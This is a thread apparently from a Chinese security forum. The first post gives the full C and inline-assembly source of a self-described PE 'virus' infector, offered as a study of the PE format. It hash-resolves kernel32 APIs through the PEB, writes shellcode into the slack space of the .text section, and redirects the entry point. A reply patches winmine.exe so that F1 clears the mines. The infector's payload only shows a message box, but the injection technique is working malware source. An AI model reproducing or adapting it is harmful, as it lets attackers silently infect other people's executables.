最近钻研了PE文件格式一段时间,想到写个程序测试一下自己的学习成果,费了九牛二虎之力写了个小程序,也算是作为学习后的一个小成果吧,写过这个程序也真正意识到汇编的作用,见缝插针啊。水平很菜,各位大侠不要笑话,错误之处,恳请批评指证。 
把源代码贴上(xp sp2,VC6.0 debug编译通过):
#include <stdio.h>
#include <windows.h>

BOOL infect( char *p_fname);
void shellcode();
void shellcode_end();

char jmp_ins[5] = { '\xe9', 0, 0, 0, 0};

int main( int argc, char *argv[])
{
  if ( argc < 2) {
    printf("usage: infect a_pe_file\n");
    return -1;
  }

  infect( argv[1]);

  return 0;
}

#define DEFAULT_BASE  0x1000000

#define _var1  (-4)

__declspec(naked) void shellcode()
{
  __asm {
    call loc
loc:
    pop eax        // eax存放的就是本条指令的地址
    jmp short start
  }

  __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90

  __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0
  __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0

  __asm _emit 'u' __asm _emit 's' __asm _emit 'e' __asm _emit 'r' __asm _emit '3' __asm _emit '2' __asm _emit '.' __asm _emit 'd' __asm _emit 'l' __asm _emit 'l' __asm _emit 0 
  __asm _emit 'M' __asm _emit 'e' __asm _emit 's' __asm _emit 's' __asm _emit 'a' __asm _emit 'g' __asm _emit 'e' __asm _emit 'B' __asm _emit 'o' __asm _emit 'x' __asm _emit 'A' __asm _emit 0 
  __asm _emit 'H' __asm _emit 'e' __asm _emit 'l' __asm _emit 'l' __asm _emit 'o' __asm _emit 0 

  __asm
  {
start:
    pushad
    
    mov edi, eax
    add edi, 3    // edi ptr to data area
    
    mov ebp, esp
    sub esp, 4

    ;push eax        // eax contains the location of shellcode

    // get base of k32
    mov eax, fs:[0x30]      // get PEB ptr
    mov eax, [eax+0x0c]      // get PED_LDR_DATA ptr
    mov esi, [eax+0x1c]      // esi ptr to the 1st loaded module, i.e. the NTDLL.DLL
    lodsd            // esi ptr to the 2nd loaded module, i.e. the KERNEL32.DLL
    mov edx, [eax+0x08]      // edx contains the base addr of KERNEL32.DLL
  
    // search export table
    mov eax, 0x331adddc
    call get_func_addr
    mov [edi+5], eax
    
    mov eax, 0x99c95590
    call get_func_addr
    mov [edi+9], eax

    lea eax, [edi+13]      // user32.dll
    push eax
    call [edi+5]        // eax contains the hmodule
    
    lea ebx, [edi+24]      // MessageBoxA
    push ebx
    push eax
    call [edi+9]        ; eax contains the addr of MessageBoxA
    
    xor ecx, ecx  
    push ecx
    lea ebx, [edi+36]
    push ebx
    push ebx
    push ecx
    call eax
    
    jmp quit



    ; edx = dll base
    ; eax = hash
get_func_addr:
    push ebx
    push ecx
    push esi
    push edi
    push ebp
  
    mov ebp, eax

    mov ebx, edx        // ebx = base of k32
    add ebx, [ebx+0x3c]      // nt hdr
    add ebx, 0x18        // opt hdr
    add ebx, 0x60        // exp dir entry
    mov ebx, [ebx]        // ebx = rva of exp data
    add ebx, edx        // ebx = va of exp data

    xor edi, edi        // index

    mov ecx, ebx
    add ecx, 28        
    mov ecx, [ecx]
    add ecx, edx        // ecx = va of func addrs

    add ebx, 32        
    mov ebx, [ebx]
    add ebx, edx      // ebx = va of func names

next_name:
    mov esi, [ebx+edi]
    add esi, edx        // esi = va of name
    add edi, 4
    call get_hash        // eax = hash
    cmp eax, ebp
    jnz next_name

    sub edi, 4
    mov esi, [ecx+edi]      
    add esi, edx        // esi = va of func addr
    mov eax, esi

    pop ebp
    pop edi
    pop esi
    pop ecx
    pop ebx
    ret



    ; esi = va of name
get_hash:  
    push esi
    push ebx
    push ecx

    xor ebx, ebx
    xor eax, eax
next_char:
    lodsb
    cmp al, 0
    jz get_hash_over
    mov ecx, ebx
    shl ecx, 5
    shr ebx, 27
    or ebx, ecx
    add ebx, eax
    jmp next_char
get_hash_over:
    mov eax, ebx
    pop ecx
    pop ebx
    pop esi
    ret    
    
quit:
    push edi

    // search entry point
    mov edi, DEFAULT_BASE
    add edi, [edi+0x3c]
    add edi, 0x18
    add edi, 0x10
    mov edi, [edi]        // edi contains the entry point (rva)
    add edi, DEFAULT_BASE    // edi contains the entry point (va)
    
    // save entry point at loc
    mov _var1[ebp], edi

    mov ecx, 5
    pop esi
    rep movsb

    mov esp, ebp
    popad

    mov eax, [esp-36]
    jmp eax
  }
}

__declspec(naked) void shellcode_end()
{
}

BOOL infect( char *p_fname)
{
  HANDLE h_file, h_fmapping;
  PIMAGE_DOS_HEADER p_dos_hdr;
  PIMAGE_NT_HEADERS p_nt_hdr;
  PIMAGE_FILE_HEADER p_file_hdr;
  PIMAGE_OPTIONAL_HEADER p_opt_hdr;
  PIMAGE_SECTION_HEADER p_sect_hdr;
  unsigned long sc_size, room = 0, off, i;
  void *p_mem;
  char *p_te, *p_entry, *p_tmp;

  sc_size = 0x117;
  
  // open file
    h_file = CreateFile(p_fname, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if ( h_file == INVALID_HANDLE_VALUE ) {   
    printf("fail to open file, err# %08x\n", GetLastError());
    goto err0;
  }
    
  // map file into memory
    h_fmapping = CreateFileMapping(h_file, NULL, PAGE_READWRITE, 0, 0, NULL);
    if ( h_fmapping == 0 ) {
        printf("fail to create file mapping, err# %08x\n", GetLastError());
        goto err1;
  }
    
    p_mem = MapViewOfFile(h_fmapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
    if ( p_mem == 0) {
        printf("couldn't map view of file, err# %08x\n", GetLastError());
        goto err2;
    }

  // get DOS hdr and do sanity checking
    p_dos_hdr = (PIMAGE_DOS_HEADER)p_mem;
    if ( p_dos_hdr->e_magic != IMAGE_DOS_SIGNATURE) {
    printf("unrecognized file format\n");
    goto err3;
  }

  // get NT hdr and do sanity checking
  p_nt_hdr = (PIMAGE_NT_HEADERS)((char *)p_dos_hdr + p_dos_hdr->e_lfanew);
  if ( p_nt_hdr->Signature != IMAGE_NT_SIGNATURE) {
    printf("invalid PE file, no NT signature found\n");
    goto err3;
  }

  // get other hdrs
  p_file_hdr = &p_nt_hdr->FileHeader;
  p_opt_hdr = &p_nt_hdr->OptionalHeader;
  p_sect_hdr = (PIMAGE_SECTION_HEADER)((char *)p_nt_hdr + sizeof(IMAGE_NT_HEADERS));

  // get text section room
  for ( i=0; i<p_file_hdr->NumberOfSections; i++, p_sect_hdr++) {
    if ( !stricmp( ".text", p_sect_hdr->Name)) {
      room = p_opt_hdr->FileAlignment - (p_sect_hdr->Misc.VirtualSize % p_opt_hdr->FileAlignment);
      break;
    }
  }

  if ( room < sizeof(sc_size)) {
    printf("insufficient room for virus.\n");
    goto err3;
  }

  printf( "room = %08x\n", room);

  printf("lfanew offset: %08x\n", (char *)&p_dos_hdr->e_lfanew - (char *)p_dos_hdr);
  printf("opt-hdr offset: %08x\n", (char *)&p_nt_hdr->OptionalHeader - (char *)p_nt_hdr);
  printf("entry offset: %08x\n", (char *)&p_opt_hdr->AddressOfEntryPoint - (char *)p_opt_hdr);
  printf("exp offset: %08x\n", (char *)&(p_opt_hdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]) - (char *)p_opt_hdr);

  p_entry = (char *)p_mem + p_sect_hdr->PointerToRawData + (p_opt_hdr->AddressOfEntryPoint - p_sect_hdr->VirtualAddress);
  p_te = (char *)p_mem + p_sect_hdr->PointerToRawData + p_sect_hdr->Misc.VirtualSize;
  off = *((unsigned long *)((char *)shellcode + 1));
  p_tmp = ((char *)shellcode + off + 5);
  memcpy( p_te, p_tmp, sc_size);
  memcpy( p_te+8, p_entry, 5);

  // create jmp struct
  off = p_te - p_entry - 5;
  *((unsigned long *)(jmp_ins + 1)) = off;
  memcpy( p_entry, jmp_ins, 5);

  p_sect_hdr->Characteristics |= 0x80000000;

  printf("%08x\n", sizeof(IMAGE_FILE_HEADER));

err3:
  UnmapViewOfFile(p_mem);
err2:
  CloseHandle(h_fmapping);
err1:
  CloseHandle( h_file);
err0:
  return FALSE;
}

上传的附件 Infect.rar

  • 标 题:答复
  • 作 者:triones
  • 时 间:2008-09-30 10:17

直接手术PE文件以达到效果,实现起来只需要改两个地方,一个是“帮助”处的强跳,一个就是在文件中找一足够空间的空白处写上代码。修改如下:(修改了9h+30h共39h个字节)

代码:
01001F09       |. /EB 04               jmp     short 01001F0F
01001F0B          |90                  nop
01001F0C          |90                  nop
01001F0D          |90                  nop
01001F0E          |90                  nop
01001F0F          \E8 412B0000         call    01004A55
01001F14       |.  E9 90020000         jmp     010021A9
代码:
01004A55           60                  pushad
01004A56           33FF                xor     edi, edi
01004A58           47                  inc     edi
01004A59           33F6                xor     esi, esi
01004A5B           46                  inc     esi
01004A5C           8BC7                mov     eax, edi
01004A5E           C1E0 05             shl     eax, 5
01004A61           03C6                add     eax, esi
01004A63           8A80 40530001       mov     al, byte ptr [eax+1005340]
01004A69           3C 0F               cmp     al, 0F
01004A6B           75 07               jnz     short 01004A74
01004A6D           57                  push    edi
01004A6E           56                  push    esi
01004A6F           E8 9EEAFFFF         call    01003512
01004A74           3B35 34530001       cmp     esi, dword ptr [1005334]
01004A7A         ^ 76 DF               jbe     short 01004A5B
01004A7C           3B3D 38530001       cmp     edi, dword ptr [1005338]
01004A82         ^ 76 D4               jbe     short 01004A58
01004A84           61                  popad
01004A85           C3                  retn
OK了,可以直接按F1瞬间排雷了.
我用的winmine.exe是XP pro SP1的,系统版本不同,也许程序就不同了